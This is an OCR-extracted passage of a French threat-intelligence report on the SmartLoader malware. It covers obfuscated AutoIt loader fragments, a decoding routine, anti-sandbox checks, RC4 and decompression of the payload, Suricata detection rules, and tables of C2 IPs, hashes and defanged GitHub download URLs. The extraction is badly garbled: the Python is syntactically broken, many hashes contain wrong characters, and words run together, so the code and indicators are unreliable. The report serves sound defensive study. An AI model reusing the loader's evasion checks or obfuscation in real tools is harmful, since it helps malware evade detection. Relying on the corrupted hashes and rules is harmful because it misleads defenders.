0ObjGet ( SHOULDERDOWNLOADCOM ( "74:77/77:86/84:85/83/66:85/70:69/43" , 1 +0 ) )
PixelGetColor ( SHOULDERDOWNLOADCOM ( "85:7481.87,78/70/35/84/71:71,78:35 72:71.70.:71 /84,67 78.35" ,
$KEYBOARDWICKEDANTENNA = $KEYBOARDWICKEDANTENNA + 211231 / 211231
EndSwitch
WEnd
$BOOKMARKSIGNALSBOYS = $BOOKMARKSIGNALSBOYS + 4294967295
While 664
$EDITIONSOPERATORBUNDLEPROMOTES = 52856
Switch $EDITIONSOPERATORBUNDLEPROMOTES
Case 52855
DirGetSize ( SHOULDERDOWNLOADCOM ( "83/71:88179:85/8467" , 11 + 4294967291 ) )
PixelGetColor ( SHOULDERDOWNLOADCOM ( "78:114 114,106 165/116/102:121 10611312647 /72/110:119 104 11
DirGetSize ( SHOULDERDOWNLOADCOM ( "79!67:75/80:86 6775 8085 66 828471 856984 7568 717066 69
Progress0ff ( )
Chr ( 1965 )
Floor ( 8 )
IsDeclared ( SHOULDERDOWNLOADCOM ( "69)81,80/85/87:78:86:6780:86/85,47/68 716784 85 47:6887 8686
DirGetSize ( SHOULDERDOWNLOADCOM ( "931103 116116 10338 38 38/38 /77 /120103 118 /110/38:38/38:38/89'1
$EDITIONSOPERATORBUNDLEPROMOTES = $EDITIONSOPERATORBUNDLEPROMOTES + 29485 / 29405

Figure 23. Contenu formaté du fichier "t"

Une fois la premiére passe de nettoyage effectuée, plusieurs schémas de complexification artificielle
apparaissentclairement.

Tout d’abord, la fonction SHOULDERDOWNLOADCOM semble récurrente. Elle prend une chaine de
caractéresetunnombre enparameétres, et semble retourner une chaine de caractéres.

Une implémentation simple de cette fonctionen python seraitdonc quelque chose comme

#/usr/bin/env python3

import sys

if len(sys.argv) < 2: print("Missing arguments.")
sys.exit(-1)

encoded_string = sys.argv[1] pound = int(sys.argv([2])
if pound >= 4294967296:

pound = pound - 4294967296

es_arr = encoded_string.split('})

start = 530 + 4294966766

end = 4294967295 + len(es_arr)

decoded =""

foridx, vin enumerate(es_arr):

decoded += chr(int(es_arr[idx]) - int(pound))
print(decoded)
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Une fois les différents remplacements effectués, on constate un schéma récurrent destiné a

complexifierlacompréhensiondu script.

Le schémaestlesuivant:

While <constante>:
var = <constante2>
Switchvar
Casex
[suited’instructions]
Casey
[suite d’instructions ]
Case <constante2>
[instructions réelles]
ExitLoop
EndSwitch
Wend

Onanalyse donc que seule une petite partie du code estréellementatteignable.
Unefoisle code mortsupprimé, le script passe a environ 900Ko et gagne enlisibilité.

Cela permetd’observer plus en détails le fonctionnementdu script.

On y trouvera une liste de vérification effectuée sur I’environnement que cela soit la machine sur

laquelle s’exécute le processus, oula maniere dontil a été lance.
Parmi les vérifications effectuées citons parexemple :

> COMPUTERNAME = tz (Emulateur BitDefender)
COMPUTERNAME = NfZtFbPfH (Emulateur Kaspersky)
COMPUTERNAME = ELICZ (Emulateur AVG)
USER = test2?2
Présenced’un process avastui.exe
Ping d’'un domaine inexistant(s’arréte sile pingfonctionne)
Présence d’un process bdagent.exe ( sleep(160000) si trouve)

V V. V V V V

Enfin, on trouvera la partie intéressante de ce script : une variable SROMUUEIJOU contenant une chaine

hexadécimale tres longue.

Cettechaine est utilisée plus tard dans le script comme argumentd’une fonction.

SMEASURINGICONELECTRONICFLEXIBILITY = ISSUEDCENTERSCORE (
ROYALBACON (
SINKAPPRECIATION (
Binary ( SROMUUEIJOU ),
Binary ( "404949357957050441543083316298350512946715953370" )
)
) 1
SSWINGREPEATGREETINGS,
SGARLICBLOOMPOSSESSION ,
SHOURPROT )

Lafonction SINKAPPRECIATION charge un shellcode et prend une chaine en paramétres.

Analyse dela Purple Team Gatewatcher: Smartloader

©Copyright Gatewatcher 2025

19/29




Le shellcode semble correspondre a I’algorithme de chiffrement RCA4.

Vare pbVare + 1;

decoded_shellcode[ (longlong) (int)juVars +
} while (pkbVard != decoded shellcode +

Figure 24. Désassemblage du shellcode contenu dans le fichiert

La fonction ROYALBACON quant a elle, ne prend en argument qu’une chaine binaire. Elle appelle la
fonction Rt/DecompressFragment depuis ntdll.dll. Cela signifie que le payload une fois décodé donnera
unfragmentcompressé en ZNT1.

Une fois cette recette passée dans notre cyberchef nous obtenons un PE (sha256sum :
eb37694151f8e7012a765ff540b066a4e7bc41371446a4b3b79dda9de919d934) qui serale payload final :

Output £« BO®:o:

MZ - ) @ o 11 .
LI!This pro 0 i
$ \ of . ¢o6F | of. of B 003%0 0=F§06+F | 6=F | 6<F |0

gun ) .

Figure 25. Sortie de cyberchef aprés déchiffrement et décompression

Enfinle script AutolT s’auto-supprimera.
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Partie 3 : Détection

3.1 SIGFLOW

Comme nous I'avons vu précédemment certaines activités possédent des propriétés suffisamment
discriminantes pour nous permettre de mettre en place des regles de détection.

1. User-agent

Tout d’abord nous avons constaté que le user-agent utilisé était particulier. Celui-ci n’était composé
que d’une simple chaine de caractéres sans espace ou slash(/), normalement caractéristique des user-
agent traditionnels. Cependant, le nombre de requétes pouvant étre important nous nous limiterons a
unindicateursilencieux dans un premier temps.

Unexemple de regle de détection:

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader User-Agent”;
flow:established,to_server; http.user_agent; content:!" "; bsize:>15; content:!"/"; flowbits: set,
smartloader.ua; noalert; sid:1000001;)

2. Stage?

Comme son nom ’indique, smartloaderest principalement un loader, il est donc naturellement amené
arécupérerd’autres charges malveillantes.

Ces charges étant hébergées sur github dans les échantillons observés, nous pouvons donc faire une
détection de ce type:

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader Stage 2 (raw
file)"; flow:established,to_server; flowbits: isset, smartloader.ua; http.host; content:
"github.com": http.uri; content:"/raw/": sid:1000002;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader Stage 2 (release
file)": flow:established,to_server; flowbits: isset, smartloader.ua; http.host; content:
"github.com”; http.uri; content:"/releases/"; sid:1000003;)
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3. Communication C2

Enfin, les communications avec le C2 sont aussi spécifiques. Le chemin étant fixe sur les échantillons
observes:

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader Checkin (PUT)";
flow:established,to_server, flowbits: isset, smartloader.ua; http.uri; content:
"/api/YTAsSODYsODIsOWQsYTEsODgsOTAsOTUsNjUsN2Qs";http.method; content:"PUT";
sid:1000004;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader Checkin
(POST)". flow:established,to_server; flowbits: isset, smartloader.ua; http.uri; content:
"[api/YTAsSODYsODIsOWQsYTEsODgsOTAsOTUsNjUsN2Qs";;http.method,; content:"POST";
sid:1000005;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader task completion
(PUT)". flow:established,to_server; flowbits: isset, smartloader.ua; http.uri; content:
"/tasks/YTAsSODYsODIsSOWQsYTEsODgsOTAsOTUsNjUsN2Qs";http.method; content:"PUT";
sid:1000006;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader task completion
(POST)". flow:established,to_server; flowbits: isset, smartloader.ua; http.uri; content:
"/tasks/YTASODYsODIsOWQsYTEsODgsOTAsOTUsNjUsN2Qs";http.method; content:"POST";
sid:1000007;)
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Conclusion

Devenu particulierement populairecesderniersmois, SmartLoader utilise des techniques simples mais
redoutablementefficaces pour échapper a la détection.

Se reposant sur des binaires bénins pour interpréter un script obfusqué, tout en modifiantles sommes
decontrélede I’archive viale script delancement. Une action, afaible co(t pour les attaquants, suffita

contournerde nombreux mécanismes basés sur des listes d’indicateurs.

Sa plus grande particularité reste probablement I'abus de la réputation de Github afin d’y hébergera la
fois les charges initiales et secondaires.

Comme nous I'avons vu de nombreux dépots ont été créeés, selon un schéma récurrent : README et
profils générés vraisemblablement a’aide de LLMs, et une automatisation partielle des commits.

Enfin, les charges secondaires sont également hébergées sur Github, en utilisant non seulement le
systeme de releases, mais également des fichiers bruts contenus dans un dépbt voire - dans des
versions plus anciennes - dans les pieces jointes aux issues.
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Type
User-Agent

Indicateur
gr59jbckqitkplk41hbrtg3dvhyzgj3ndiwftkedxa9o

q568p87yaefulpbidits4qinzj5zflixffwhdénkah6
celhafjhlvoml7bébtsi3ht7Ibaucy

User-Agent
C2

elbzohpyxkndhQdk12jgf
213.176.73.80

C2
C2 (a vérifier autoit_out/39890_3388.dmp)

213.176.7247
159.255.37.200

C2 (a vérifier autoit_out/39890_3388.dmp)
C2 (a vérifier autoit_out/39890_3388.dmp)
SHA256 (payload)

77.105.164.65
94.156.114.56

8e8173f0411f8c052959503db6d2cdab651ef1228
47e2fe61758b50f9fb8a649

SHA256 (payload)

SHA256 (payload)

0ed8e43a9b0bbb8754ecice195e07f6af5e5363a
b039cda32413746a3e772fa8
5ad575b6d5a79a41fa37fa07b4c72744cbf402c14
947788e26e3dbd1f4403baa

SHA256 (payload)
SHA256 (lua51.dIl)
SHA256 (luajit.exe)
SHA256 (t)

SHA256 (samplel)

e3b0c44298fc1c149afbf4c8996fh02427ae41e464
9b934ca495991b7852b855
012e772e3c72c5f500aab86e78e99afff222bdc8d
914bc32bb244ade03d5a486
30f7bd2e98df2ec3405f3ab4aab5be8f0dc1d9ac
638286edf390c4ddb74b4316
27aac3573f032d20951be0dfbf42cc41f9e26chac
9cdd3cf8421a4dfb3ed50e3
3a2f83a62307345bbf273a4292f190636e0911016
2¢7f12a51cb98018¢17f27a

SHA256 (sample2)
SHA256 (sample3)
SHA256 (sample4)
SHA256 (sample5)
SHA256 (sample6)

SHA256 (sample7)

541def175b2b8844a92e0a6cf86133edf3c18e3c87
05527h85ecffe8fh8e4b3chH
4A11e7a4f4a271d520ca350c498aafe0149540426d
9bf08dcc2e00bc177696f4b
57d5¢2569a10c07529ed7fh18699095a53d9be34
2f612b8230e39a48312a6281
18017f5ee428d795bc3761c106a5014b8eb51e480
87d3357fabeb0c461e8115f
1ee7h5279253d57279h133105526f86d778b4db67
7e3fe83172f6a0c56fbd03d
022c7db2bcd82f3d863d876a76168542886072bf
0fb28333fbda5e96ele5c114

SHA256 (sample8)
SHA256 (sample9)

SHA256 (samplel0)

SHA256 (samplell)

SHA256 (samplel2)
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03aec7e0a63fca7adb48fa22dedfe3balbdafc7c2
cb816a2349d74e002051cOc
0646a8fb1f91c46bc4d5ff779aaeld334ch3c8ef7a
8f3b394be762ac5a6717da
0af99b94cab63947eeffe16eb87dbc8aa0837176d2
09e49015fe2e3fcb4ef10b7
0d08d1e0db23cc3ae5365f88bc22¢c4dfbc74f071
cfa72f34e4e6a9336had56c8
2cab00e353e8cd6472¢889e944e52d25e065644
7fabaf3fc1e95¢3b3db32067d
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SHA256 (samplel3)
SHA256 (samplel4)

SHA256 (samplel5)

SHA256 (sample16)

SHA256 (samplel7)

33764391e65763065efc160be505¢97fe8c927f8c
5064c6f6cfd89f3e72¢f597
3ab5ae6e34d35977¢cf218c785b184425851f94202
092d1bcfbla2cc44a30bfes
5cbf7accebelal8aeabl14a2209cf60ech744b0be
edc41585f562846el1fc3e212
5ce83f99eff295ab626bh8f6dacc18a34708a30ac
9a95fd23067d71b820283a71
74f72ebb9bb64081082a4621706b31a83b44a4756
61e90469dc506ad2368389¢5

SHA256 (sample18)

SHA256 (samplel19)

7d70e6d7d4fa8d888bd46680aa604dd9f56285d
c78c429ac8ab8e4d88266651f
81580758604dff8b2b8f9126645e4a897e9b86b6
3bede420a07b1a6b3a973638

SHA256 (sample20)
SHA256 (sample21)
SHA256 (sample22)

SHA256 (sample23)

b1fd8621eca72bbbsf2bededeeas94a518ac73ad4
60e61ceb948137afc8c3430
b79c66c6982c75deccdac850f7fc0ac60449eebb
03ee85fd805053aa706adc63
bd450ff7fd4450c8e62e60f36cccc20efe94d90b
2d0c45556d45a3c878a7cd17
d069c2eae59a5¢c7ad0c5de361220f91ff22813781
2ed5cfd465df1al20ac3ea

SHA256 (sample24)

SHA256 (sample25)

dOcch5166h23aece72dc41c9d38666023f6046a0
c562d8096d19555fab0a3e77
dadd4646d32ba0987ad11be623c3153b41b6b704
fle551b6ee745fald65d0b9d

SHA256 (sample26)

Filename

dff1858beb573519¢c464988a2c93a5d5b50e8fc2f
b123a1b1393cflaabc2ef2b
Application.zip

Filename
Filename

Program.zip
Release.zip

Filename
Filename
Filename
Filename

SHA256

18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
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Soft.zip

Software.zip

Release_x64.zip
quarkus-openapi-problem-v1.4.2.zip

URL

hxxp://githubl.Jcom/pufferfish420/Fixing-Error-
0x8007000F/releases/download/v2.0/Program.zip
hxxps://githubl.Jcom/Elijahhx/Deadlock-
h4ck/releases/download/v2.0/Program.zip/
hxxps://githubl.Jcom/Lordsatanthenuker/DiscordUniv
erse/releases/download/v2.0/Program.zip
hxxp://githubl.Jcom/timy2007/Trigon-
Evo/releases/download/v2.0/Program.zip
hxxp://githubl.Jcom/HoodxSp5dda/Domain-
Executor/releases/download/v2.0/Program.zip
hxxp://githubl.Jcom/iampoo31331/Hydrogen-
Executor/releases/download/v2.0/Program.zip
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18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
1ee7b5279253d57279b133105526f86d778
b4db677e3fe83172f6a0c56fbd03d

1ee7b5279253d57279b133105526f86d778
b4db677e3fe83172f6a0c56fbd03d
1ee7b5279253d57279b133105526f86d778
b4db677e3fe83172f6a0c56fbd03d

1ee7b5279253d57279b133105526f86d778
b4db677e3fe83172f6a0c56fbd03d
3a2f83a62307345bb273a4292f190636e0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162c7f12a51cb98018¢17f27a

hxxps://githubl.Jcom/3amneoz/Roblox-
Celery/releases/download/v2.0/Program.zip/
hxxp://githubl.Jcom/Shadowlord11/Arceus-
Executor/releases/download/v2.0/Program.zip
hxxp://githubl.Jcom/Abyss675/AlfaRomeoGiulia_Dash
boardinfo_ESP32-
S3/releases/download/v1.0/Software.zip
hxxp://githubl.Jcom/Abdulbasii/spectra/releases/dow
nload/v1.0/Software.zip
hxxp://githubl.Jcom/Sporty18000/MOBILedit-
Forensic-Express-Pro-
Free/releases/download/v1.0/Software.zip
hxxp://githubl.Jcom/Mejicool/Casino-scripts.com-
[releases/download/v1.0/Software.zip
hxxp://githubl.Jcom/Hackermanisdumb/Mod-
Gtab/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/cartervr/taxdatabase-sql-
tableau/releases/download/v2.0/Software.zip/

3a2f83a62307345bbf27324292f190636e0
9110162¢c7f12a51cb98018c17f27a

3a2f83a62307345bbf273a4292f190636e0
9110162¢c7f12a51cb98018c17f27a

3a2f83a62307345bbf273a4292f190636e0
9110162c7f12a51cb98018c17f27a

hxxp://githubl.Jcom/BashSpiceRB/QuasarRAT-
Remote-Access-
Tool/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/QAQMMW/Music-
Recommendation-Based-on-Facial-
Expression/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/ne-
ted/Free_US_Investment_Agent_System/releases/do
wnload/v2.0/Software.zip

3a2f83a62307345bbf273a4292f190636e0
9110162c7f12a51cb98018¢c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162c7f12a51cb98018c17f27a

hxxps://githubl.Jcom/lilroniel/PhoenixC2/releases/do
wnload/v2.0/Software.zip
hxxp://githubl.Jcom/KIETMIO/AWESOME-NLP-
PAPERS/releases/download/v2.0/Software.zip

3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018¢c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162¢7f12a51cb98018¢c17f27a
3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf27324292f190636e0
9110162¢7f12a51cb98018¢c17f27a

hxxps://githubl.Jcom/davinjoeevano/batch-project-
scaffolds/releases/download/v2.0/Software.zip/
hxxp://githubl.Jcom/RNO98/figma-free-
crack/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/jameseeeeeceeeeee/Carbon-
Executor/releases/download/v2.0/Software.zip/
hxxp://githubl.Jcom/ColtOSTemp/platform_external_t
inyxml/releases/download/v2.0/Software.zip

3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf27324292f190636e0
9110162¢7f12a51cb98018¢c17f27a

hxxps://githubl.Jcom/DEVOFSS/LeadFinder-
Agent/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/rafy35198/JJsploit/releases/dow
nload/v2.0/Software.zip

3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf27324292f190636e0
9110162¢7f12a51cb98018¢c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162c7f12a51cb98018¢17f27a
3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018¢c17f27a
3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018¢17f27a
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hxxp://githubl.Jcom/giiyu12/Codex-
Roblox/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/agrius/Roblox-
Oxygen/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/double-back/Evon-
Executor/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/Rahulpa045/CphishTermux/rele
ases/download/v2.0/Software.zip
hxxps://githubl[.Jcom/loudwens/displayindex/releases
/download/v2.0/Software.zip/
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3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162¢7f12a51cb98018¢c17f27a
3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162¢7f12a51cb98018¢c17f27a
3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a

hxxp://githubl.Jcom/huyko67/ChatBot-
Whatsapp/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/vrus67/CrystalTool/releases/dow
nload/v2.0/Software.zip
hxxps://githubl.Jcom/Afjhr/iExplorer-
Free/releases/download/v2.0/Software.zip/
hxxp://githubl.Jcom/Salsiii/Codex-
Roblox/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/Hackermanisdumb/Mod-
Gtab/releases/download/v2.0/Software.zip/

3a2f83a62307345bbf27324292f190636e0
9110162¢7f12a51cb98018¢c17f27a

hxxps://githubl.Jcom/MarcosPilarr/Foolproof-cursor-
freeloading-
method/releases/download/v2.0/Software.zip

3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162¢7f12a51cb98018¢c17f27a

hxxp://githubl.Jcom/vyshnavidevill/frtproject/release
s/download/v2.0/Software.zip
hxxp://githubl.Jcom/Afjhr/iExplorer-
Free/releases/download/v2.0/Software.zip

3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162¢7f12a51cb98018¢c17f27a

3a2f83a62307345bbf273a4292f190636€0
9110162c7f12a51cb98018c17f27a
3a2f83a62307345bbf273a4292f190636e0
9110162¢7f12a51cb98018¢c17f27a
Ale7a4f4a271d520ca350c498aafe01495
40426d9bf08dcc2e00bc177696f4b

A1e7a4f4a271d520ca350c498aafe01495
40426d9bf08dcc2e00bc177696fAb
541def175b2b884a92e0a6cf86133edf3c
8e3c8705527b85ecffe8fb8e4b3ch
541def175b2b884a92e0a6¢cf86133edf3c
8e3c8705527b85ecffe8fb8e4b3ch

hxxps://githubl.Jcom/globalnewsory/LayerEdge-
Auto-Bot/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/akusayudodograu/Agentic-RAG-
Story-Generation-with-Multimodal-
GenAl/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/CPSGDPS/Employe-time-
tracker/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/mehedihasanfarabil0/githubtuto
rial/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/99monisha/Smart-Web-Scraper-
2.0-using-Gen-
Al/releases/download/v1.0/Software.zip
hxxp://githubl.Jcom/huizuohaode/Al-Image-
Generator/releases/download/v1.0/Software.zip
hxxp://githubl.Jcom/12301530/pump-fun-
frontend/releases/download/v1.0/Software.zip
hxxp://githubl.Jcom/kareemdaher772 /weather-
app/releases/download/v1.0/Software.zip

541def175b2b884a92e0a6cf86133edf3c
8e3c8705527b85ecffe8fb8edb3ch

541def175b2b884a92e0a6¢cf86133edf3c
8e3c8705527b85ecffe8fb8edb3chH

hxxp://githubl.Jcom/aufahuhs/Advanced-Machine-
Learning-Personal-
Project/releases/download/v1.0/Software.zip
hxxps://githubl.Jcom/VitorNsousa/moonlight-
launcher/releases/download/v1.0/Software.zip

541def175b2b884a92e0a6¢cf86133edf3c
8e3¢8705527b85ecffe8fb8e4b3ch
541def175b2b884a92e0a6¢cf86133edf3cl
8e3c8705527b85ecffe8fb8e4b3ch
541def175b2b884a92e0a6cf86133edf3c
8e3c8705527b85ecffe8fb8e4b3ch
57d5¢2569a10c07529ed 7fb18699095a53
d9be342f612b8230e39a48312a6281

57d5¢2569a10c07529ed 7fb18699095a53
d9be342f612b8230e39248312a6281
57d5c2569a10c07529ed 7fb18699095a53
d9be342612b8230e39a48312a6281
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hxxp://githubl.Jcom/Aksoo7/SoLBF/releases/downloa
d/v1.0/Software.zip
hxxps://githubl.Jcom/abhinavchetla/SeedGn/releases
/download/v1.0/Software.zip/
hxxps://githubl.Jcom/JamesRichards05/Telegram-
Premium/releases/download/v1.0/Software.zip
hxxp://githubl.Jcom/Kenichi-
BOTZ/YusupBotl/releases/download/v2.0/Software.zi
P

hxxp://githubl.Jcom/K4tuu/Roblox-Faxi-
Macro/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/ggusercool/PancakeSwapBnbPre
diction/releases/download/v2.0/Software.zip
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57d5¢2569a10¢c07529ed 7fb18699095a53

d9be342612b8230e39a48312a6281

57d5c2569a10c07529ed 7fb18699095a53

d9be342f612b8230e39a48312a6281

57d5¢2569a10c07529ed 7fb18699095a53

d9be342f612b8230e39248312a6281

57d5¢2569a10c07529ed 7fb18699095a53

d9be342f612b8230e39a48312a6281

57d5c2569a10c07529ed 7fb18699095a53

d9be342f612b8230e39248312a6281

57d5¢2569a10c07529ed 7fb18699095a53

d9be342f612b8230e39a48312a6281

57d5¢2569a10¢c07529ed 7fb18699095a53

d9be342f612b8230e39248312a6281

57d5¢2569a10c07529ed 7fb18699095a53

d9be342f612b8230e39a48312a6281

57d5¢2569a10¢c07529ed 7fb18699095a53

d9be342f612b8230e39248312a6281

57d5¢2569a10c07529ed 7fb18699095a53

d9be342f612b8230e39a48312a6281
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hxxp://githubl.Jcom/Gwyiomi/Apex-Legends-
External-Cheat-Hack-Trigger-Glow-Aimbot-Skin-
More-Hwid-
Spoofer/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/ahmetbabal22/Blue-Lock-
Rivals/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/narfor502/CucumberBDDFrame
work/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/DoomzDay4032/Blox-Fruits-
Autofarm/releases/download/v2.0/Software.zip
hxxps://githubl.Jcom/Mizea2/BOT-
NEW/releases/download/v2.0/Software.zip/
hxxp://githubl.Jcom/Nikke6728/TowerDefenseGame/r
eleases/download/v2.0/Software.zip
hxxps://githubl.Jcom/sendafor/PhoenixC2/releases/d
ownload/v2.0/Software.zip
hxxps://githubl.Jcom/Garuadi/Rainbow-S1x-Siege-
Cheat/releases/download/v2.0/Software.zip
hxxp://githubl.Jcom/xaviertya/.dotfiles/releases/dow
nload/v2.0/software.zip
hxxp://githubl.Jcom/K4tuu/Roblox-Faxi-
Macro/releases/download/v2.0/Software.zip
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£3) GATEWATCHER

Cybersecurity for
business serenity

Gatewatcher, a leader in cyber threat detection, has been
protecting the networks of businesses and public institutions,
including the most critical ones, since 2015. The Gatewatcher
NDR Platform (Network Detection and Response) combines
artificial intelligence, dynamic and behavioral analytics
techniques, and contextualized Cyber Threat Intelligence (CTI).
This enables unified, comprehensive visibility, real-time
detection and mapping of systems, and an automated,
prioritized response to attacks. Deployed across cloud, on-
premise, or sensitive infrastructures, and compatible with IT,
OT,and loT environments, it secures all critical assets while
streamlining operations through its integrated Al assistant.
Gatewatcher combines technological power with operational
peace of mind to align cybersecurity with your business
objectives.

gatewatcher.com
contact@gatewatcher.com
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